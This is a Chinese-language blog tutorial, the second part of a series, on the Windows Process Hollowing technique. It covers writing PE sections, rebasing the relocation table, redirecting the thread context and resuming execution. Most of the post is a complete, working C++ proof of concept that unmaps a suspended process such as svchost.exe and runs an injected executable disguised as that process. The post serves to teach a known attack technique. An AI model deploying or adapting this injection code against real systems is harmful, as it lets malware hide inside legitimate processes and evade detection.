【Day 21】薛丁格的 Process (下) - Process Hollowing

环境

  • Windows 10 21H1
  • Visual Studio 2019
  • PE-bear v0.4.0.3

前情提要

【Day 20】薛丁格的 Process (上) - Process Hollowing 中我们列出整个 Process Hollowing 的实作流程,并且说明了前半部分。目前已经 Unmap 目标 Process 的 Image,并且把我们的档案的 Header 放到目标 Process 中。

这篇就要接续上一篇的部分,从第 6 步开始讲解。准备把 Section 也放进目标 Process,接着做 Rebase,最後执行被我们挖空窜改的 Process。

原理

实作流程

  1. 建立一个 Suspended Process,它就是要被注入的目标 Process
  2. 读取要注入的档案
  3. Unmap 目标 Process 的记忆体
  4. 在目标 Process 申请一块记忆体
  5. 把 Header 写入目标 Process
  6. 把各 Section 根据它们的 RVA 写入目标 Process
  7. Rebase Relocation Table,因为 Image Base 可能会不一样
  8. 取出目标 Process 的 Context,把暂存器 EAX 改成我们注入的程序的 Entry Point
  9. 恢复执行原本状态为 Suspended 的目标 Process

各步骤说明

6. 把各 Section 根据它们的 RVA 写入目标 Process

在第 5 步骤时,我们把注入的档案的 Header 写入目标 Process,接下来要把各 Section 也跟着写入目标 Process。那档案中总共有哪些 Section 呢,跟上一篇用同一张截图,只是这次要写入的目标是 Section 的部分。

要把 Section 写入前,要先了解 RVA(Relative Virtual Address) 的概念。简单来说,Section 在记忆体的实际位址 = Image Base + Section 的 RVA。所以只要回圈跑过所有 Section,把各 Section 的内容写入各 Section 在记忆体的实际位址就完成了。

那要怎麽列举所有 Section 呢?其实在第二步就有顺便取出 Section Header 了,它就接在 NT Headers 的後面,所以只要 NT Headers + sizeof(IMAGE_NT_HEADER32) 就可以算出 Section Header。

7. Rebase Relocation Table,因为 Image Base 可能会不一样

这个步骤是我认为最复杂的,许多讲解 Process Hollowing 的文章没有把这步骤说明清楚,甚至有 POC 没有做 Relocation。

在前面的步骤,我们已经把档案的 Header 和 Section 都放到目标 Process 对应的位址了,不过还有最後的调整工作,就是 Rebase Relocation Table。先观察一下这句组语 mov eax, dword ptr [00400FFC],它就是需要做 Relocation 的范例,这句的意思是从 0x400FFC 的位址中取值并写到暂存器 eax。然而 0x400FFC 这个位址是在 Image Base 为 0x400000 的情况下所产生出来的,但是现在由於目标 Process 跟档案的 Image Base 不一定相同,所以需要做修正让程序可以访问正确的位址。

修正的方法不难,就是改 .reloc Section。首先要找到 .reloc Section,我们可以回圈跑过所有 Section,确认 Section Name 是否为 .reloc。Relocation Table 结构也可以透过在 Optional Table 中的 DataDirectory 成员取得。

再来要了解 Relocation Table 的结构,Relocation Table 中会分为许多 Block(下图红色),每个 Block 中又会有许多 Entry(下图绿色)。在每个 Block 的开头会有 PageAddress 与 BlockSize 两个成员(下图蓝色),其中 PageAddress 的值是以 Page(0x1000) 为单位递增的,而我们需要改的位址就存在 PageAddress + 每个 Entry 的 Offset 中。

所以在找到 Relocation 结构後,我们只要回圈跑过所有 Entry,把每个 Entry 的 Offset 加上该 Block 的 PageAddress,将算出来的位址里的值加上原本目标 Process 和档案的 Image Base 的差,就可以完成 Rebase。
*(档案的 Image Base + PageAddress + Offset) += (目标 Process 的 Image Base) - (档案的 Image Base)

其中有个细节是 Entry 中的 Type,它只占了 4 bit,是用来表示 Entry 的属性。根据 MSDN,当 Type 为 0 时代表它只是用来做 Padding 对齐用的,所以不用改。

8. 取出目标 Process 的 Context,把暂存器 EAX 改成我们注入的程序的 Entry Point

现在已经把我们要注入的档案全部都写进目标 Process 取代掉原本的了,接下来在让目标 Process 继续执行之前,要先改暂存器 EAX。目前的 EAX 存放的是原本 Image 的 Entry Point,如果不改它的话等等就会继续从那执行,因此要把 EAX 改成我们程序的 Entry Point。

每个 Thread 都会有一组 Context 结构,里面存放暂存器资料,用 GetThreadContext 可以得到目前 Thread 的 Context。把暂存器 EAX 写成我们程序的 Entry Point 之後,用 SetThreadContext 更新 Context 就完成了。

9. 恢复执行原本状态为 Suspended 的目标 Process

ResumeThread 让目前状态为 Suspended 的目标 Process 继续执行,由於前一个步骤修改了暂存器 EAX,因此执行的位址也会从我们程序的 Entry Point 开始继续执行。

完整 POC

POC 改自 m0n0ph1/Process-Hollowing,只有加入一些注解并把一些非必要的程序拔掉减少篇幅。完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome

void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
    // 1. 建立一个 Suspended Process,它就是要被注入的目标 Process
    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    // 第六个参数必须是 CREATE_SUSPENDED,因为需要它维持在初始状态,让我们能够对其中的记忆体进行修改
    CreateProcessA
    (
        0,
        pDestCmdLine,		
        0, 
        0, 
        0, 
        CREATE_SUSPENDED, 
        0, 
        0, 
        pStartupInfo, 
        pProcessInfo
    );
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");

        return;
    }

    // 取得 PEB,里面包含後面步骤需要用到的 ImageBaseAddress
    PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);


    // 2. 读取要注入的档案
    HANDLE hFile = CreateFileA
    (
        pSourceFile,
        GENERIC_READ, 
        0, 
        0, 
        OPEN_ALWAYS, 
        0, 
        0
    );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);

    // 取得 File Header 和 Optional Header
    // File Header 和 Optional Header 各是 NT Header 的其中一个成员,NT Header 则是从 DOS Header 算出来的
    PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
    PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);


    // 3. Unmap 目标 Process 的记忆体
    // 从 ntdll.dll 中取出 NtUnmapViewOfSection
    HMODULE hNTDLL = GetModuleHandleA("ntdll");
    FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
    _NtUnmapViewOfSection NtUnmapViewOfSection =
        (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
    DWORD dwResult = NtUnmapViewOfSection
    (
        pProcessInfo->hProcess, 
        pPEB->ImageBaseAddress
    );
    if (dwResult)
    {
        printf("Error unmapping section\r\n");
        return;
    }


    // 4. 在目标 Process 申请一块记忆体
    // Process 是目标 Process 的 Handle
    // lpAddress 是原本被 Unmap 的 Image 的 Base Address
    // dwSize 是我们要注入的档案大小
    // flAllocationType 是 MEM_COMMIT | MEM_RESERVE
    // flProtect 可以针对不同的记忆体区段去做配置,不过 POC 方便起见,直接用 PAGE_EXECUTE_READWRITE
    PVOID pRemoteImage = VirtualAllocEx
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed\r\n");
        return;
    }


    // 5. 把 Header 写入目标 Process
    // 在改 Optional Header 中的 ImageBase 成员之前,算出档案的 Image Base 和目标 Process 的 Image Base 的距离
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

    // 把我们的档案 Header 写入目标 Process
    if (!WriteProcessMemory
    (
        pProcessInfo->hProcess, 				
        pPEB->ImageBaseAddress, 
        pBuffer, 
        pSourceHeaders->OptionalHeader.SizeOfHeaders, 
        0
    ))
    {
        printf("Error writing process memory\r\n");
        return;
    }

    /* 以上是薛丁格的 Process (上) 的内容 */
    /* 以下是薛丁格的 Process (下) 的内容 */

    // 6. 把各 Section 根据它们的 RVA 写入目标 Process
    for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
    {
        if (!pSourceImage->Sections[x].PointerToRawData)
            continue;

        // Section 在记忆体的实际位址 = Image Base + Section 的 RVA
        PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
        if (!WriteProcessMemory
        (
            pProcessInfo->hProcess,			
            pSectionDestination,			
            &pBuffer[pSourceImage->Sections[x].PointerToRawData],
            pSourceImage->Sections[x].SizeOfRawData,
            0
        ))
        {
            printf ("Error writing process memory\r\n");
            return;
        }
    }	

    // 7. Rebase Relocation Table,因为 Image Base 可能会不一样
    if (dwDelta)
        for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
        {
            // 确认 Section Name 是否为 .reloc
            char* pSectionName = ".reloc";		
            if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
                continue;

            DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
            DWORD dwOffset = 0;

            // Relocation Table 结构可以透过在 Optional Table 中的 DataDirectory 成员取得
            IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

            // 回圈跑过所有 Block
            while (dwOffset < relocData.Size)
            {
                PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];
                dwOffset += sizeof(BASE_RELOCATION_BLOCK);
                DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);
                PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];

                // 回圈跑过所有 Entry
                for (DWORD y = 0; y <  dwEntryCount; y++)
                {
                    dwOffset += sizeof(BASE_RELOCATION_ENTRY);

                    // 当 Type 为 0 时代表它只是用来做 Padding 对齐用的,所以不用改
                    if (pBlocks[y].Type == 0)
                        continue;

                    // 把每个 Entry 的 Offset 加上所在的 Block 的 PageAddress,
                    // 将算出来的位址里的值加上原本目标 Process 和档案的 Image Base 的差
                    DWORD dwFieldAddress = 
                        pBlockheader->PageAddress + pBlocks[y].Offset;
                    DWORD dwBuffer = 0;
                    ReadProcessMemory
                    (
                        pProcessInfo->hProcess, 
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
                    );
                    dwBuffer += dwDelta;
                    BOOL bSuccess = WriteProcessMemory
                    (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
                    );
                    if (!bSuccess)
                    {
                        printf("Error writing memory\r\n");
                        continue;
                    }
                }
            }
            break;
        }

    //  8. 取出目标 Process 的 Context,把暂存器 EAX 改成我们注入的程序的 Entry Point
    DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
    LPCONTEXT pContext = new CONTEXT();
    pContext->ContextFlags = CONTEXT_INTEGER;
    if (!GetThreadContext(pProcessInfo->hThread, pContext))
    {
        printf("Error getting context\r\n");
        return;
    }
    pContext->Eax = dwEntrypoint;
    if (!SetThreadContext(pProcessInfo->hThread, pContext))
    {
        printf("Error setting context\r\n");
        return;
    }

    // 9. 恢复执行原本状态为 Suspended 的目标 Process
    if (!ResumeThread(pProcessInfo->hThread))
    {
        printf("Error resuming thread\r\n");
        return;
    }
}

实际测试

把要注入的档案,以专案提供的 HelloWorld.exe 为例,跟 ProcessHollowing.exe 放在同个目录,执行 ProcessHollowing.exe 之後如果成功的话会跳出一个讯息框,用 Process Explorer 观察会看到一个 32-bit svchost.exe,并且会发现它没有载入 svchost.exe 的 Image,因为已经被我们 Unmap 了(详见第 3 步骤)。

参考资料


<<:  予焦啦!基本的命令列

>>:  Android 学习笔记27

Day 18 - 产业研究分析浅谈

转换一下, 来谈谈PM的日常, 还有其他工作类型, 例如像是产业研究分析的任务, 尤其是针对想要选...

[Java学习笔记] 使用Builder Pattern 使物件初始化有预设参数

什麽是预设参数? 允许函式在没有传入值的情况下,以指定的预设值初始化。 直观方法 建构子多载 pub...

第22天~JSON / GSON

JSON / GSON JSON是一种格式=物件型态用文字表示出来像用=档案很小 Map{key{V...

想要爬个资料也困难重重

这边先说一下,关於上一篇的程序码好像有些问题,我这次找了其他资料练习,先用了另一组程序抓取,确认抓取...

NIST SP 800-88 R1媒体消毒准则(Guidelines for Media Sanitization)

NIST SP 800-88 R1引入了三种消毒方法:清除(clear),清除(Purge)和销毁(...